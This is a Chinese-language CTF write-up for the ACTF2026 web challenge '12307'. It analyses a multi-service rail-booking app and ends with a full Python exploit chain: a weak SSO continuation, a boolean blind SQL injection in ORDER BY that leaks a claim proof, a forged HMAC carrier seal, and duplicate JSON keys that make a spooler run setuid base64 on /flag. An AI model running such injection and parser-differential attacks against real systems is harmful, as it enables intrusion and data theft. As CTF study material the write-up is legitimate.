ACTF2026 弥补一下去年没做的遗憾(
12307 From出题人:
题目描述: Book your train ticket to the FLAG…… Now!
预期难度: 简单(103 / 1000 pts / 175 solves);使用 codex 预期解耗时:5 分钟
题目定位: 一个多服务、利用业务逻辑完成利用链拼接的签到题。
出题背景: 这个题在赛前 24h 才匆忙完成。由于是签到题,应该也没关系吧。不知或许是因为 agent 对它自己写出来的代码具有强大的亲和性,我始终无法只靠 agent 将预期解出时间调整至超过半小时;如果是纯古法做的话可能得一两个小时甚至更久吧。这道题或许是一个 agent 最擅长漏洞类型的典例。
看出题人的预期是签到题然后 Codex 5分钟秒了,然后估算人工可能要1-2h甚至往上,但因为是非比赛期间,所以我就当提升代码审计水平来了
首先可以收集一波信息:
nginx.conf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 server { ... location /api/ { proxy_pass http://passenger_gateway; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade; proxy_set_header Host $host; proxy_set_header Cookie $http_cookie; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } location /rail-local/ { return 404; } location /signer/ { return 404; } location /station/import/ { return 404; } location /settlement-worker/ { return 404; } location / { try_files $uri $uri/ /index.html; } }
这里可以知道正常业务可以访问的是 /api,然后一些内部的接口比如 rail-local 这些是无法访问的
Dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 RUN cat > /start.sh <<'EOF' set -eu rm -f /start.sh chown root:root /flag chmod 0600 /flag chown root:root /usr/bin/base64 chmod 4755 /usr/bin/base64 install -d -m 0750 -o settle -g settle /run /rail-spool spool_key="$(od -An -N24 -tx1 /dev/urandom | tr -d ' \n')" printf '%s\n' "$spool_key" > /run /rail-spool/bridge.key cat > /run /rail-spool/device-map.json <<'MAP' { "profile-delta-closeout" : {"codec" :"settlement-filter" ,"acceptedPrograms" :["/usr/bin/base64" ]}, "profile-north-closeout" : {"codec" :"settlement-filter" ,"acceptedPrograms" :["/usr/bin/printf" ]}, "profile-baggage-preview" : {"codec" :"settlement-filter" ,"acceptedPrograms" :["/usr/bin/printf" ]} } MAP
这里可以知道 flag 文件只有 root 才可以读取,但可以发现 base64 这个命令有 sudo 权限,如果可以的话后续可以用 base64 来读取 /flag
至于源码是如何执行一个命令,可以先在 services\print_spooler\worker.py 的 run_driver(program, argument)里找到一个:
1 pid = os.posix_spawn(program, [program, argument], os.environ, file_actions=file_actions)
这里执行了 program 和 argument,然后我们来看哪里用到了 run_driver,依旧是 worker.py:
1 2 3 4 5 6 7 8 9 10 def handle (raw ): ... program = str (ticket.get("driverProgram" , "" )) argument = str (ticket.get("driverArgument" , "" )) accepted = route.get("acceptedPrograms" ) if not isinstance (accepted, list ) or program not in [str (item) for item in accepted]: publish(ticket_id, "review" ) return value = run_driver(program, argument) ...
可以看到的是 program 和 argument 是读取 driverProgram 和 driverArgument 的值来得到的
在 services\depot_layout\app.py 可以找到 ticket 的信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def spool_device (route, context ): print_plan = context.get("printPlan" ) if isinstance (context.get("printPlan" ), dict ) else {} ticket = { "ticketId" : random_id("P" , 12 ), "deviceRef" : route["device_ref" ], "stationCode" : route["station_code" ], "driverProfile" : route.get("driver_profile" , "" ), "codec" : route.get("codec" , "" ), "driverProgram" : str (print_plan.get("driverProgram" , "" ))[:160 ], "driverArgument" : str (print_plan.get("driverArgument" , "" ))[:160 ], "context" : { "batchId" : context.get("batchId" ), "orderId" : context.get("orderId" ), "stationCode" : context.get("stationCode" ), }, "issuedAt" : int (time.time()), }
然后 lay_out 是从 services\settlement_worker\worker.py 这里获得请求的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def bridge_preview (device_ref, context, print_plan ): body = json.dumps({ "deviceRef" : str (device_ref)[:64 ], "context" : { "batchId" : context.get("batchId" ), "orderId" : context.get("orderId" ), "stationCode" : context.get("stationCode" ), "printPlan" : { "driverProgram" : str (print_plan.get("driverProgram" , "" ))[:160 ], "driverArgument" : str (print_plan.get("driverArgument" , "" ))[:160 ], }, }, }, separators=("," , ":" )).encode() try : conn = http.client.HTTPConnection("127.0.0.1" , int (os.environ.get("LAYOUT_PORT" , "5009" )), timeout=3 ) conn.request("POST" , "/depot/layout/preview" , body=body, headers={ "Content-Type" : "application/json" , "Content-Length" : str (len (body)), "X-Layout-Bridge" : "bureau" , }) resp = conn.getresponse() payload = resp.read() if resp.status != 200 : return "[layout-error]" data = safe_json(payload.decode(errors="replace" ), {}) or {} return str (data.get("value" , "" ))[:4000 ] except Exception as exc: return f"[layout-error:{exc.__class__.__name__} ]"
可以看到这个函数接收了一个 print_plan 的参数,可以在 services\receipt_signer\app.py 里找到:
1 2 3 4 5 6 7 8 9 10 11 12 13 def verify_carrier_seal (data, order, batch_id, template_digest, station_cfg, boarding_channel ): ... print_plan = { "profile" : str (render_view.get("printProfile" , "counter-copy" ))[:64 ], "printer" : str (render_view.get("printer" , "thermal-standard" ))[:64 ], "prefix" : str (render_view.get("prefix" , "reconciliation" ))[:48 ], "cell" : str (render_view.get("cell" , "receipt" ))[:48 ], "ledgerRef" : checks["ledgerRef" ], "boardingNonce" : str ((boarding_channel or {}).get("boardingNonce" , "" )), "driverProgram" : str (render_view.get("driverProgram" , "" ))[:160 ], "driverArgument" : str (render_view.get("driverArgument" , "" ))[:160 ], } return print_plan, []
而这个发生在 结算阶段 ,所以我们可以在这一步的时候插入 base64 和 /flag
知道该如何执行命令了,我们可以回到一开始,分析一下这个项目是如何运作的:
首先是身份问题
前端对应的是 requestIdentity(),在 frontend/src/main.jsx:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 async function requestIdentity ( ) { try { await api ("/api/mobile/identity/continue" , { method : "POST" , body : JSON .stringify ({ passenger : passengerName || "Passenger" , relayState : { next : "rail://continue/seat-hold" , flow : ["seat-hold" ] }, partnerMetadata : { entityID : "railway-partner" , compatBinding : "x-accel" , role : "PassengerIdentityProvider" , }, assertion : "<Assertion><Audience>12307</Audience><NameID>mobile-passenger</NameID><Signature>RelayState</Signature></Assertion>" , }), }); await loadWorkspace (); flash ("Passenger identity continued" ); } catch (error) { flash (error.data ?.error || "Identity continuation failed" ); } }
乘客的身份并不是本地系统直接签发,而是由某个 partner 侧传进来,然后本地再把它补成一个自己的 session
后端在 services/sso_gateway/server.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 async function continueIdentity (req, res ) { ... const ok = partnerContinuation (data); const sessionId = crypto.randomBytes (18 ).toString ("base64url" ); const session = { state : ok ? "compat-pending" : "pending" , trust : ok ? "partner-continuation" : "unverified" , partnerId : String (data.partnerId || "mobile-partner" ).slice (0 , 64 ), stationCode : String (data.stationCode || "BJP" ).slice (0 , 16 ), trustLevel : Array .isArray (data.trustLevel ) ? data.trustLevel : ["mobile" , ok ? "partner" : "guest" ], passenger, issuedAt : Date .now (), }; await redisCommand ("SET" , `rail:sso:session:${sessionId} ` , JSON .stringify (session), "EX" , "900" ); ... }
这个 partnerContinuation(data) 它实际上只是做了一堆字符串匹配,只要数据里出现了一些预期的字段和关键词,就会得到一个 compat-pending 的 session
但除了上面的得到的这个 session,还需要 continuation:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 async function completeSession (req, res ) { ... data.state = "complete" ; data.completedAt = Date .now (); await redisCommand ("SET" , `rail:sso:session:${sessionId} ` , JSON .stringify (data), "EX" , "900" ); await redisCommand ("SET" , `rail:passenger:continuation:${sessionId} ` , JSON .stringify ({ passenger : data.passenger , trust : data.trust , partnerId : data.partnerId || "mobile-partner" , stationCode : data.stationCode || "BJP" , trustLevel : data.trustLevel || ["mobile" , "partner" ], completedAt : data.completedAt , }), "EX" , "900" ); ... }
services/edge_gateway/server.js 里的 holdFlow() 会先去检查 continuation 状态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 async function holdFlow (req, res, body ) { const check = await proxy (5002 , "/session/check" , "GET" , Buffer .alloc (0 ), req.headers ); let seatHoldClass = "" ; if (check.status === 204 && check.headers ["x-session-continuation" ] === "complete" ) { seatHoldClass = "quota-sync" ; } else if (check.status === 401 && check.headers ["x-session-continuation" ] === "pending" ) { const continued = await proxy (5002 , "/_rail/session/check" , "GET" , Buffer .alloc (0 ), req.headers , { "X-Session-Bridge" : "continue" , }); if (continued.status === 204 ) seatHoldClass = "quota-sync" ; } const held = await proxy (5000 , "/orders/hold" , "POST" , body, req.headers , { "X-Seat-Hold-Class" : seatHoldClass, }); ... }
后面 ticketing_api.create_order() 触发时,会从 cookie 里取 passenger_session,再调用 session_to_mysql():
1 2 3 cookies = parse_cookie(self .headers.get("Cookie" , "" )) passenger_session = cookies.get("passenger_session" , "guest" ) session_to_mysql(passenger_session, passenger)
而 session_to_mysql() 只有在 continuation 存在时,才会插入partner_trust:
1 2 3 4 5 6 raw = redis.command("GET" , f"rail:sso:session:{session_id} " ) ... continuation = redis.command("GET" , f"rail:passenger:continuation:{session_id} " ) if continuation: ... INSERT INTO partner_trust(...)
所以这里可以想知道一点就是,后面的流程需要 continuation
然后就是订票
1 2 3 4 5 6 7 8 9 function TrainCard ({ train, seatClass, reserve, requestBoard } ) { const status = seatStatus (train, seatClass); const fare = Number (train.price || 0 ) * (seatClass === "business" ? 2.7 : seatClass === "first" ? 1.45 : 1 ); return ( ... <span>From <strong>{money (fare)}</strong></ span> <button onClick ={() => reserve(train, status)}>{status.left > 0 ? "Reserve" : "Join waitlist"}</button > <!--这里进入一个判断,判断是否有余票--> ); }
然后 reverse
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 async function reserve (train, status ) { try { if (status.left <= 0 ) { await api ("/api/mobile/orders/hold" , { method : "POST" , body : JSON .stringify ({ trainId : train.id , seatClass, holdMode : "waitlist" }), }); } const passenger = passengerName || workspace.session ?.passenger || "Passenger" ; const data = await api ("/api/mobile/orders" , { method : "POST" , body : JSON .stringify ({ trainId : train.id , seatClass, passenger }), }); flash (data.order .status === "waitlisted" ? `${data.order.trainId} waitlisted` : `${data.order.trainId} reserved` ); await loadWorkspace (); } catch (error) { flash (error.data ?.error === "identity_continuation_required" ? "Complete passenger identity first" : error.data ?.error || "Reservation failed" ); } }
会请求 /api/mobile/orders/hold 和 /api/mobile/orders 这两个接口之后就分别进入买票和候补阶段,至于具体怎么做的,先不管,看订票完后面要干嘛
然后是站务desk ,这里就给出接口:services/station_portal/app.py
1 2 3 4 5 6 7 station_portal 是 desk 服务 list_notices():列公告 create_notice():站内发布 notice,同时把 proxy_hint 存起来 search_tickets():查 ticket_index reprice_fare():给某个 station / tariffScope 重新报价 adjust_ticket():基于 claim proof 记一条 adjustment memo health_import():把 desk 侧事件转发给 station_import
接着就是 station_import
services/station_import/app.py
它根据 adapter 干不同的事:
1 2 3 station-partner-feed:编译站内 notice feed,发布 lane / board profile / partner jwks station-desk-ledger:消费 ticket_adjustments,把 desk memo 编译成真实业务状态 enterprise-clearing:把 tariff exception claim 激活成 layout entitlement
主要就是写 Redis
再者就是结算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 /api/corporate/reconciliation -> pricing_sampler.create_batch() -> 新建 render_jobs /api/corporate/receipts/prepare -> enterprise_gateway.mergeLayoutClaim() -> station_import.enterprise-clearing -> receipt_signer.validate_context() -> receipt_signer.verify_carrier_seal() -> 新建 settlement_receipts -> Redis 里写一份 rail:receipt:seal:<receipt_id> /api/corporate/settlement/schedule -> settlement_scheduler.schedule_batch() -> Redis LPUSH rail:settlement:jobs settlement_worker -> BRPOP rail:settlement:jobs -> handle_job() -> load_context() -> validate() -> render() -> 如果有 service-device,就继续 bridge_preview() <-- 这里对应了我们之前分析的可控参数program bridge_preview() -> HTTP /depot/layout/preview -> depot_layout.collect_device() -> spool_device() -> Redis LPUSH rail:spool:requests print_spooler -> BRPOP rail:spool:requests -> handle() -> run_driver(program, argument) -> Redis LPUSH rail:spool:result:<ticketId> 最后结果再从 Redis 回到 depot_layout -> settlement_worker.render() -> MySQL render_results.body
这一段对应到具体代码里,大概是这样:
services/pricing_sampler/app.py
1 2 3 4 5 6 7 8 9 10 11 def create_batch (self, data ): ... template = REPORT_TEMPLATES.get(report_type, REPORT_TEMPLATES["fare-preview" ]) template_digest = digest_template(template) ... execute( """ INSERT INTO render_jobs(batch_id,receipt_id,order_id,station_code,template_digest,template_body,data_json,status,created_at,updated_at) ... """ )
这里的作用就是先建一个 batch,对应一条 render_jobs
然后就是 services/enterprise_gateway/server.js
1 2 3 4 5 6 7 8 9 if (req.method === "POST" && path === "/api/enterprise/receipts/prepare" ) { ... await mergeLayoutClaim (orderId, stationCode); const cachedLane = await redisGet (`rail:interline:lane:${stationCode} ` ); const signerLane = laneFromCache (cachedLane); ... const response = await forward (SIGNER_PORT , "/signer/receipts/prepare" , body, signerHeaders); ... }
这里先做了一次 mergeLayoutClaim(),也就是先把 layout entitlement 相关的状态补好,然后再去转发给真正的 receipt_signer
mergeLayoutClaim() 实际上会去打 station_import:
1 2 3 4 5 6 7 8 9 10 11 12 async function mergeLayoutClaim (orderId, stationCode ) { ... const body = Buffer .from (JSON .stringify ({ stationCode, adapter : "enterprise-clearing" , target : `rail-mesh://clearing/layout?orderId=${encodeURIComponent (orderId)} &stationCode=${encodeURIComponent (stationCode)} ` , payload : "invoice-dispute=merged" , })); await forward (IMPORT_PORT , "/station/import/probe" , body, { "X-Enterprise-Gateway" : "station-mesh" , }); }
而 station_import 这边:
1 2 if adapter == "enterprise-clearing" and order_id: return activate_layout_claim(order_id, station_code)
再进入:
1 2 3 4 5 6 7 8 9 def activate_layout_claim (order_id, station_code ): ... execute( """ INSERT INTO bureau_layout_cells(...) """ ) ... redis.command("SET" , f"rail:layout:entitlement:{order_id} " , station_code, "EX" , "180" )
也就是说,这一步意义是:企业准备 receipt 之前,要先确认 layout 权限已经下发
这个状态后面 receipt_signer 和 settlement_worker 都会检查
接着就进入 services/receipt_signer/app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def validate_context (handler, data, batch_id, order, template_digest ): ... profile = one("SELECT * FROM station_profiles WHERE station_code=%s" , (station_code,)) _profile, station_cfg = station_policy(station_code) ... waitlist = one("SELECT * FROM waitlist_entries WHERE order_id=%s" , (order["order_id" ],)) trust = one( "SELECT * FROM partner_trust WHERE session_id=%s AND status='accepted' ORDER BY created_at DESC LIMIT 1" , (order["passenger_session" ],), ) ... continuation = live_continuation(order) boarding_channel = ledger_attestation(order["order_id" ], station_code, station_cfg) layout_entitlement = redis.command("GET" , f"rail:layout:entitlement:{order['order_id' ]} " ) or ""
这里就能看出 trusted receipt 需要的前置条件:
1 2 3 4 5 6 7 1. 订单必须是 waitlisted 2. waitlist_entries.sampled = 1 3. station_profiles.batch_open = 1,renderer_profile / signer_route 4. partner_trust.status = accepted 5. rail:passenger:continuation 存在 6. rail:ledger:channel 存在 7. rail:layout:entitlement 存在
满足这些之后,就会执行 verify_carrier_seal():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def verify_carrier_seal (data, order, batch_id, template_digest, station_cfg, boarding_channel ): ... public_view = json.loads(payload_text, object_pairs_hook=first_wins_object) render_view = json.loads(payload_text) ... for key, expected_value in checks.items(): if str (public_view.get(key, "" )) != str (expected_value): return None , ["partner_receipt_review" ] print_plan = { "profile" : str (render_view.get("printProfile" , "counter-copy" ))[:64 ], "printer" : str (render_view.get("printer" , "thermal-standard" ))[:64 ], "prefix" : str (render_view.get("prefix" , "reconciliation" ))[:48 ], "cell" : str (render_view.get("cell" , "receipt" ))[:48 ], "ledgerRef" : checks["ledgerRef" ], "boardingNonce" : str ((boarding_channel or {}).get("boardingNonce" , "" )), "driverProgram" : str (render_view.get("driverProgram" , "" ))[:160 ], "driverArgument" : str (render_view.get("driverArgument" , "" ))[:160 ], } return print_plan, []
注意这里有个非常关键的点:它校验的时候用的是 public_view,生成后续打印参数的时候用的是 render_view,这就导致如果 JSON 里有重复键,那么验证时候的值和实际的值是可以不一样的
然后后面就是我们前面分析的,可以执行 /usr/bin/base64 /flag 的阶段了
那么漏洞可以插在哪里?
身份
services/sso_gateway/server.js
这里 partnerContinuation() 只是做字符串包含判断,外部构造出一个看起来像 partner continuation 的请求,就能拿到一个 compat-pending 的 session
然后再借助 edge_gateway 的 holdFlow() 自动走 /_rail/session/check 完成 continuation,这样一张后面创建出来的 waitlist order 就带上了可以通过 trusted settlement 检查的 passenger_session
desk 重新报价里的 ORDER BY 注入
services/station_portal/app.py
1 2 3 4 def fare_scope_expression (scope ): ... if scope.get("mode" ) == "legacy-rank" : return str (scope.get("expr" , "ticket_no" ))[:240 ]
然后在:
1 2 3 4 5 sql = ( "SELECT ticket_no,station_code,status FROM ticket_index " "WHERE station_code IN (%s,'BJP') " f"ORDER BY {scope} LIMIT 1" )
这里直接把 expr 拼进了 ORDER BY,所以可以利用 /api/desk/fares/reprice 做布尔盲注,从 station_claim_artifacts 里把 claimProof 对应的内容注入出来
station_import
1 2 3 4 5 6 7 8 create_notice() + station-partner-feed -> 编译出 lane / board profile / partner jwks adjust_ticket() + station-desk-ledger -> 编译出 sampled=1、batch_open=1、renderer_profile、signer_route enterprise-clearing -> 编译出 layout entitlement
verify_carrier_seal()
1 2 public_view = json.loads(payload_text, object_pairs_hook=first_wins_object) render_view = json.loads(payload_text)
由于校验和实际渲染的不一样,所以可以覆盖掉前面一个
1 2 3 4 5 6 7 8 { "printProfile" : "counter-copy" , "printer" : "thermal-standard" , "printProfile" : "clearing-batch" , "printer" : "line-printer" , "driverProgram" : "/usr/bin/base64" , "driverArgument" : "/flag" }
这样校验时 public_view 看到的是前一组值 真正生成 print_plan 时 render_view 拿到的是后一组值
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 import base64import hashlibimport hmacimport jsonimport reimport timeimport requestsfrom websocket import create_connectionBASE = "http://127.0.0.1:62307" STATION = "HGH" TRAIN_ID = "G7608" SEAT_CLASS = "business" TICKET_QUERY = "HGH" TRUSTED_POLICY_ID = "POL-HGH-TRUSTED" TRUSTED_ROUTE = "delta-window-27" TRUSTED_SECRET = "e94c0a8d-12307-hgh-trusted" BOARD_STREAM = "seat-window-e27" BOARD_TOPIC = "seat-consist" DRIVER_PROGRAM = "/usr/bin/base64" DRIVER_ARGUMENT = "/flag" def make_session (): session = requests.Session() session.trust_env = False return session def ensure (ok, message ): if not ok: raise RuntimeError(message) def print_step (message ): print (f"[+] {message} " , flush=True ) def weak_continue_and_waitlist_channel (session ): data = { "partnerMetadata" : "railway-partner compatBinding PassengerIdentityProvider" , "relayState" : ["continue" , "seat-hold" ], "assertion" : "<Assertion><Audience>12307</Audience><NameID>solver</NameID></Assertion>" , "stationCode" : STATION, "passenger" : "solver" , "trustLevel" : ["mobile" , "partner" , "settlement" ], "partnerId" : "mobile-partner" , } resp = session.post(f"{BASE} /api/mobile/identity/continue" , json=data) ensure(resp.status_code == 202 , f"identity continue failed: {resp.status_code} {resp.text} " ) resp = session.post( f"{BASE} /api/mobile/orders/hold" , json={"trainId" : TRAIN_ID, "seatClass" : SEAT_CLASS, "holdMode" : "waitlist" }, ) ensure(resp.status_code == 200 , f"waitlist channel failed: {resp.status_code} {resp.text} " ) ensure("waitlist_session" in session.cookies.get_dict(), "waitlist_session cookie missing" ) def create_waitlisted_order (session ): resp = session.post( f"{BASE} /api/mobile/orders" , json={"trainId" : TRAIN_ID, "seatClass" : SEAT_CLASS, "passenger" : "solver" }, ) ensure(resp.status_code == 201 , f"create order failed: {resp.status_code} {resp.text} " ) order = resp.json()["order" ] ensure(order["status" ] == "waitlisted" , f"unexpected order status: {order['status' ]} " ) return order def seed_notice_feed (): session = make_session() proxy_hint = ( f"X-Desk-Lane: {TRUSTED_ROUTE} \r\n" f"X-Board-Window: {BOARD_STREAM} \r\n" f"X-Desk-Key-Id: {TRUSTED_POLICY_ID} \r\n" f"X-Desk-Key: {TRUSTED_ROUTE} " ) resp = session.post( f"{BASE} /api/desk/notices" , json={"stationCode" : STATION, "title" : "ops" , "body" : "ops" , "proxyHint" : proxy_hint}, ) ensure(resp.status_code == 201 , f"create notice failed: {resp.status_code} {resp.text} " ) resp = session.post( f"{BASE} /api/corporate/imports/relay" , json={ "stationCode" : STATION, "adapter" : "station-partner-feed" , "target" : f"rail-cache://redis/partner/metadata?stationCode={STATION} " , "payload" : "" , }, ) ensure(resp.status_code == 200 , f"compile feed failed: {resp.status_code} {resp.text} " ) def lookup_ticket_no (): session = make_session() resp = session.get(f"{BASE} /api/desk/tickets/search" , params={"q" : TICKET_QUERY, "sort" : "ticket_no" }) ensure(resp.status_code == 200 , f"ticket search failed: {resp.status_code} {resp.text} " ) tickets = resp.json().get("tickets" , []) for ticket in tickets: if ticket.get("trainId" ) == TRAIN_ID and ticket.get("stationCode" ) == STATION: return ticket["ticketNo" ] raise RuntimeError("target ticket not found" ) def fare_bucket (expr ): session = make_session() resp = session.post( f"{BASE} /api/desk/fares/reprice" , json={ "stationCode" : STATION, "amount" : 0 , "tariffScope" : {"mode" : "legacy-rank" , "expr" : expr}, }, ) ensure(resp.status_code == 200 , f"fare oracle failed: {resp.status_code} {resp.text} " ) return resp.json()["quote" ]["bucket" ] def leak_claim_proof (order_id ): subquery = ( "SELECT CONCAT('CP-',claim_salt,'-',LEFT(claim_digest,12)) " f"FROM station_claim_artifacts WHERE order_id='{order_id} '" ) out = [] for position in range (1 , 26 ): lo, hi = 0 , 127 while lo < hi: mid = (lo + hi) // 2 expr = ( "station_code='BJP' XOR " f"(ASCII(SUBSTRING(({subquery} ),{position} ,1))>{mid} )" ) if fare_bucket(expr) == "north-window" : lo = mid + 1 else : hi = mid out.append(chr (lo)) return "" .join(out) def apply_adjustment (ticket_no, claim_proof ): session = make_session() memo = { "stationCode" : STATION, "channel" : "fare-desk" , "lineItems" : { "reason" : "FARE-91" , "layout" : "folio-grid-27" , "device" : "PR-HGH-042" , "enabled" : True , }, } resp = session.post( f"{BASE} /api/desk/tickets/adjust" , json={ "ticketNo" : ticket_no, "claimProof" : claim_proof, "memo" : json.dumps(memo, separators=("," , ":" )), "delta" : 0 , }, ) ensure(resp.status_code == 202 , f"ticket adjust failed: {resp.status_code} {resp.text} " ) def compile_station_rule (order_id ): session = make_session() resp = session.post( f"{BASE} /api/desk/imports/health" , json={ "stationCode" : STATION, "adapter" : "station-desk-ledger" , "target" : f"rail-cache://redis/settlement/review?orderId={order_id} &stationCode={STATION} " , "payload" : "compiled" , }, ) ensure(resp.status_code == 200 , f"station rule compile failed: {resp.status_code} {resp.text} " ) def create_batch (order_id ): session = make_session() resp = session.post( f"{BASE} /api/corporate/reconciliation" , json={ "orderId" : order_id, "stationCode" : STATION, "reportType" : "carrier-closeout" , "defer" : True , "data" : {"carrier" : "solver" }, }, ) ensure(resp.status_code == 202 , f"create batch failed: {resp.status_code} {resp.text} " ) return resp.json() def refresh_epoch_and_ledger (order_id ): session = make_session() weak_continue_and_waitlist_channel(session) resp = session.post(f"{BASE} /api/mobile/waitlist/pulse" , json={"orderId" : order_id}) ensure(resp.status_code == 202 , f"pulse failed: {resp.status_code} {resp.text} " ) wait_cookie = session.cookies.get("waitlist_session" ) ws = create_connection( f"ws://127.0.0.1:62307/api/connect/boarding?stationCode={STATION} " , header=[f"Cookie: waitlist_session={wait_cookie} " ], timeout=5 , enable_multithread=False , ) try : hello_required = json.loads(ws.recv()) channel = hello_required["channel" ] ensure(hello_required["topic" ] == BOARD_TOPIC, f"unexpected board topic: {hello_required} " ) ws.send(json.dumps({"type" : "boarding.hello" , "channel" : channel})) ready = json.loads(ws.recv()) ensure(ready["event" ] == "boarding.ready" , f"unexpected ready event: {ready} " ) ws.send(json.dumps({ "type" : "boarding.bind" , "topic" : BOARD_TOPIC, "trainId" : TRAIN_ID, "seatClass" : SEAT_CLASS, })) bound = json.loads(ws.recv()) ensure(bound["event" ] == "boarding.bound" , f"unexpected bound event: {bound} " ) ws.send(json.dumps({ "type" : "boarding.confirm" , "orderId" : order_id, "stationCode" : STATION, "epoch" : "2" , })) confirmed = json.loads(ws.recv()) ensure(confirmed["event" ] == "boarding.confirmed" , f"unexpected confirm event: {confirmed} " ) return confirmed["ledgerRef" ] finally : ws.close() def b64url (data ): return base64.urlsafe_b64encode(data).rstrip(b"=" ).decode() def craft_carrier_seal (batch_id, order_id, template_digest, ledger_ref ): protected = b64url(json.dumps( {"alg" : "HS256" , "typ" : "rail-carrier-seal" , "kid" : TRUSTED_POLICY_ID}, separators=("," , ":" ), ).encode()) payload_text = ( "{" f"\"batchId\":\"{batch_id} \"," f"\"orderId\":\"{order_id} \"," f"\"stationCode\":\"{STATION} \"," f"\"templateDigest\":\"{template_digest} \"," f"\"routeName\":\"{TRUSTED_ROUTE} \"," f"\"ledgerRef\":\"{ledger_ref} \"," "\"printProfile\":\"counter-copy\"," "\"printer\":\"thermal-standard\"," "\"printProfile\":\"clearing-batch\"," "\"printer\":\"line-printer\"," "\"prefix\":\"reconciliation\"," "\"cell\":\"receipt\"," f"\"driverProgram\":\"{DRIVER_PROGRAM} \"," f"\"driverArgument\":\"{DRIVER_ARGUMENT} \"" "}" ) payload = b64url(payload_text.encode()) signature = b64url(hmac.new( TRUSTED_SECRET.encode(), f"{protected} .{payload} " .encode(), hashlib.sha256, ).digest()) return {"protected" : protected, "payload" : payload, "signature" : signature} def prepare_receipt (order_id, batch_id, template_digest, ledger_ref ): session = make_session() resp = session.post( f"{BASE} /api/corporate/receipts/prepare" , json={ "stationCode" : STATION, "orderId" : order_id, "batchId" : batch_id, "templateDigest" : template_digest, "trustLevel" : ["mobile" , "partner" , "settlement" ], "carrierSeal" : craft_carrier_seal(batch_id, order_id, template_digest, ledger_ref), }, ) ensure(resp.status_code == 201 , f"prepare receipt failed: {resp.status_code} {resp.text} " ) def schedule_and_fetch_flag (batch_id ): session = make_session() resp = session.post(f"{BASE} /api/corporate/settlement/schedule" , json={"batchId" : batch_id}) ensure(resp.status_code == 202 , f"schedule failed: {resp.status_code} {resp.text} " ) for _ in range (30 ): time.sleep(0.3 ) resp = session.get(f"{BASE} /api/corporate/reconciliation/{batch_id} " ) ensure(resp.status_code == 200 , f"poll failed: {resp.status_code} {resp.text} " ) report = resp.json().get("report" ) if not report or not report.get("body" ): continue body = report["body" ] if not report.get("ready" ): continue match = re.search(r"([A-Za-z0-9+/=]+)\s*$" , body) ensure(match is not None , f"base64 payload not found in report body: {body} " ) flag = base64.b64decode(match .group(1 )).decode() return body, flag raise RuntimeError("flag not rendered in time" ) def main (): print_step("creating initial trusted passenger session and waitlisted order" ) order_session = make_session() weak_continue_and_waitlist_channel(order_session) order = create_waitlisted_order(order_session) order_id = order["id" ] print (f"[=] order_id={order_id} " , flush=True ) print_step("arming station notice feed to publish lane, board profile and JWKS" ) seed_notice_feed() print_step("locating ticket number for the target station/train" ) ticket_no = lookup_ticket_no() print (f"[=] ticket_no={ticket_no} " , flush=True ) print_step("leaking claim proof through the legacy ORDER BY SQL injection oracle" ) claim_proof = leak_claim_proof(order_id) print (f"[=] claim_proof={claim_proof} " , flush=True ) print_step("submitting a valid adjustment rule and compiling it into the station ledger" ) apply_adjustment(ticket_no, claim_proof) compile_station_rule(order_id) print_step("creating a deferred reconciliation batch" ) batch = create_batch(order_id) batch_id = batch["batchId" ] template_digest = batch["templateDigest" ] print (f"[=] batch_id={batch_id} " , flush=True ) print (f"[=] template_digest={template_digest} " , flush=True ) print_step("refreshing fulfillment epoch and ledger attestation just before signing" ) ledger_ref = refresh_epoch_and_ledger(order_id) print (f"[=] ledger_ref={ledger_ref} " , flush=True ) print_step("forging a trusted carrier seal with duplicate JSON keys" ) prepare_receipt(order_id, batch_id, template_digest, ledger_ref) print_step("scheduling settlement rendering and extracting the flag from the report" ) body, flag = schedule_and_fetch_flag(batch_id) print (f"report_body={body} " , flush=True ) print (f"flag={flag} " , flush=True ) if __name__ == "__main__" : main()
PS:感觉AI签到不代表人也是签到(
GoMySQL 题目描述: Go!!!!! MySQL plus your lucky number
